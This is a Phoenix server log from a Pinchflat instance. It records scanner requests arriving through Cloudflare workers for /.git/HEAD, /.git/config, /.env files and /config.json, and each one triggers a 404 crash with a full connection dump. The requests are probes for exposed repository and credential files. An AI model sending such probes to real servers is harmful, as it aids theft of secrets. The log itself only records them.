{"accept-encoding", "gzip"}, {"accept-language", "en-US,en;q=0.9"}, {"cdn-loop", "cloudflare; loops=1"}, {"cf-ew-via", "15"}, {"cf-ray", "a200fdba087bf3a1-ATL"}, {"cf-visitor", "{\"scheme\":\"https\"}"}, {"cf-worker", "syin4855f394xhe6.workers.dev"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"tailscale-funnel-request", "?1"}, {"upgrade-insecure-requests", "1"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:137.0) Gecko/20100101 Firefox/137.0"}, {"x-forwarded-for", "172.71.30.221"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/.git/HEAD", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUnHLrIeuY5oBoAAWNB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3727.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.git/HEAD", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 40306}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "accept-language" => "en-US,en;q=0.9", "cdn-loop" => "cloudflare; loops=1", "cf-ew-via" => "15", "cf-ray" => "a200fdba087bf3a1-ATL", "cf-visitor" => "{\"scheme\":\"https\"}", "cf-worker" => "syin4855f394xhe6.workers.dev", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:137.0) Gecko/20100101 Firefox/137.0", "x-forwarded-for" => "172.71.30.221", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 5, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.git/HEAD (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3727.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.git/HEAD", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 40306}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "accept-language" => "en-US,en;q=0.9", "cdn-loop" => "cloudflare; loops=1", "cf-ew-via" => "15", "cf-ray" => "a200fdba087bf3a1-ATL", "cf-visitor" => "{\"scheme\":\"https\"}", "cf-worker" => "syin4855f394xhe6.workers.dev", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:137.0) Gecko/20100101 Firefox/137.0", "x-forwarded-for" => "172.71.30.221", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 5, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", m (truncated) 02:50:31.670 [error] #PID<0.3733.0> running PinchflatWeb.Endpoint (connection #PID<0.3716.0>, stream id 3) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /.env.sample ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3716.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.sample", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 40276}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "accept-language" => "en-US,en;q=0.9", "cdn-loop" => "cloudflare; loops=1", "cf-connecting-ip" => "34.139.141.56", "cf-ew-via" => "15", "cf-ray" => "a200fdba0a114c85-ATL", "cf-visitor" => "{\"scheme\":\"https\"}", "cf-worker" => "abagoforgans.workers.dev", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_5) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.4 Safari/605.1.15", "x-forwarded-for" => "104.22.56.192", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 3, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3733.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"}, {"accept-encoding", "gzip"}, {"accept-language", "en-US,en;q=0.9"}, {"cdn-loop", "cloudflare; loops=1"}, {"cf-connecting-ip", "34.139.141.56"}, {"cf-ew-via", "15"}, {"cf-ray", "a200fdba0a114c85-ATL"}, {"cf-visitor", "{\"scheme\":\"https\"}"}, {"cf-worker", "abagoforgans.workers.dev"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_5) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.4 Safari/605.1.15"}, {"x-forwarded-for", "104.22.56.192"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/.env.sample", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUnHLrNaSpvORYAAWOB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3716.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.sample", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 40276}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "accept-language" => "en-US,en;q=0.9", "cdn-loop" => "cloudflare; loops=1", "cf-connecting-ip" => "34.139.141.56", "cf-ew-via" => "15", "cf-ray" => "a200fdba0a114c85-ATL", "cf-visitor" => "{\"scheme\":\"https\"}", "cf-worker" => "abagoforgans.workers.dev", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_5) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.4 Safari/605.1.15", "x-forwarded-for" => "104.22.56.192", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 3, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3716.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.sample", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 40276}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "accept-language" => "en-US,en;q=0.9", "cdn-loop" => "cloudflare; loops=1", "cf-connecting-ip" => "34.139.141.56", "cf-ew-via" => "15", "cf-ray" => "a200fdba0a114c85-ATL", "cf-visitor" => "{\"scheme\":\"https\"}", "cf-worker" => "abagoforgans.workers.dev", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_5) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.4 Safari/605.1.15", "x-forwarded-for" => "104.22.56.192", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 3, host_info: :undefined }}, assigns: %{}, b (truncated) 02:50:31.673 [info] GET /.git/config 02:50:31.673 [debug] QUERY OK source="settings" db=0.2ms idle=12.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:50:31.673 [info] GET /.env.dist 02:50:31.673 [debug] QUERY OK source="settings" db=0.1ms idle=4.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:50:31.673 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:50:31.674 [debug] QUERY OK source="settings" db=0.2ms idle=4.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:50:31.674 [debug] QUERY OK source="settings" db=0.2ms queue=0.3ms idle=4.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:50:31.674 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:50:31.674 [error] #PID<0.3734.0> running PinchflatWeb.Endpoint (connection #PID<0.3716.0>, stream id 4) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /.git/config ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.git/config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3716.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.git/config", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 40276}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "accept-language" => "en-US,en;q=0.9", "cdn-loop" => "cloudflare; loops=1", "cf-ew-via" => "15", "cf-ray" => "a200fdba0a2a9392-ATL", "cf-visitor" => "{\"scheme\":\"https\"}", "cf-worker" => "syin4855f394xhe6.workers.dev", "host" => "pinchflat.tail3db17d.ts.net", "referer" => "https://www.google.com/search?q=pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_5) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.4 Safari/605.1.15", "x-forwarded-for" => "104.22.56.193", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 4, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3734.0>, params: %{}, path_info: [".git", "config"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"}, {"accept-encoding", "gzip"}, {"accept-language", "en-US,en;q=0.9"}, {"cdn-loop", "cloudflare; loops=1"}, {"cf-ew-via", "15"}, {"cf-ray", "a200fdba0a2a9392-ATL"}, {"cf-visitor", "{\"scheme\":\"https\"}"}, {"cf-worker", "syin4855f394xhe6.workers.dev"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"referer", "https://www.google.com/search?q=pinchflat.tail3db17d.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_5) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.4 Safari/605.1.15"}, {"x-forwarded-for", "104.22.56.193"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/.git/config", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUnHLsOYaNs5BcAAWPB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3716.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.git/config", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 40276}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "accept-language" => "en-US,en;q=0.9", "cdn-loop" => "cloudflare; loops=1", "cf-ew-via" => "15", "cf-ray" => "a200fdba0a2a9392-ATL", "cf-visitor" => "{\"scheme\":\"https\"}", "cf-worker" => "syin4855f394xhe6.workers.dev", "host" => "pinchflat.tail3db17d.ts.net", "referer" => "https://www.google.com/search?q=pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_5) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.4 Safari/605.1.15", "x-forwarded-for" => "104.22.56.193", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 4, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.git/config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3716.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.git/config", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 40276}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "accept-language" => "en-US,en;q=0.9", "cdn-loop" => "cloudflare; loops=1", "cf-ew-via" => "15", "cf-ray" => "a200fdba0a2a9392-ATL", "cf-visitor" => "{\"scheme\":\"https\"}", "cf-worker" => "syin4855f394xhe6.workers.dev", "host" => "pinchflat.tail3db17d.ts.net", "referer" => "https://www.google.com/search?q=pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_5) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.4 Safari/605.1.15", "x-forwarded-for" => "104.22.56.193", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, (truncated) 02:50:31.675 [error] #PID<0.3735.0> running PinchflatWeb.Endpoint (connection #PID<0.3727.0>, stream id 6) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /.env.dist ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3727.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.dist", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 40306}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "accept-encoding" => "gzip, br", "accept-language" => "en-US,en;q=0.9", "cdn-loop" => "cloudflare; loops=1", "cf-connecting-ip" => "34.139.141.56", "cf-ew-via" => "15", "cf-ray" => "a200fdba1ae0d12f-ATL", "cf-visitor" => "{\"scheme\":\"https\"}", "cf-worker" => "evelynri-ver.workers.dev", "host" => "pinchflat.tail3db17d.ts.net", "sec-ch-ua" => "\"Google Chrome\";v=\"135\", \"Chromium\";v=\"135\", \"Not.A/Brand\";v=\"24\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"Windows\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "none", "sec-fetch-user" => "?1", "tailscale-funnel-request" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36", "x-forwarded-for" => "104.22.56.193", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 6, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3735.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8"}, {"accept-encoding", "gzip, br"}, {"accept-language", "en-US,en;q=0.9"}, {"cdn-loop", "cloudflare; loops=1"}, {"cf-connecting-ip", "34.139.141.56"}, {"cf-ew-via", "15"}, {"cf-ray", "a200fdba1ae0d12f-ATL"}, {"cf-visitor", "{\"scheme\":\"https\"}"}, {"cf-worker", "evelynri-ver.workers.dev"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"sec-ch-ua", "\"Google Chrome\";v=\"135\", \"Chromium\";v=\"135\", \"Not.A/Brand\";v=\"24\""}, {"sec-ch-ua-mobile", "?0"}, {"sec-ch-ua-platform", "\"Windows\""}, {"sec-fetch-dest", "document"}, {"sec-fetch-mode", "navigate"}, {"sec-fetch-site", "none"}, {"sec-fetch-user", "?1"}, {"tailscale-funnel-request", "?1"}, {"upgrade-insecure-requests", "1"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36"}, {"x-forwarded-for", "104.22.56.193"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/.env.dist", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUnHLsV0yOA9fUAAWQB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3727.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.dist", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 40306}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "accept-encoding" => "gzip, br", "accept-language" => "en-US,en;q=0.9", "cdn-loop" => "cloudflare; loops=1", "cf-connecting-ip" => "34.139.141.56", "cf-ew-via" => "15", "cf-ray" => "a200fdba1ae0d12f-ATL", "cf-visitor" => "{\"scheme\":\"https\"}", "cf-worker" => "evelynri-ver.workers.dev", "host" => "pinchflat.tail3db17d.ts.net", "sec-ch-ua" => "\"Google Chrome\";v=\"135\", \"Chromium\";v=\"135\", \"Not.A/Brand\";v=\"24\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"Windows\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "none", "sec-fetch-user" => "?1", "tailscale-funnel-request" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36", "x-forwarded-for" => "104.22.56.193", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 6, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3727.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.dist", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 40306}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, (truncated) 02:50:31.723 [info] GET /config.json 02:50:31.724 [debug] QUERY OK source="settings" db=0.4ms idle=53.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:50:31.724 [debug] QUERY OK source="settings" db=0.2ms idle=51.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:50:31.724 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:50:31.725 [error] #PID<0.3736.0> running PinchflatWeb.Endpoint (connection #PID<0.3727.0>, stream id 7) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /config.json ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3727.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/config.json", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 40306}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "accept-language" => "en-US,en;q=0.9", "cdn-loop" => "cloudflare; loops=1", "cf-connecting-ip" => "34.139.141.56", "cf-ew-via" => "15", 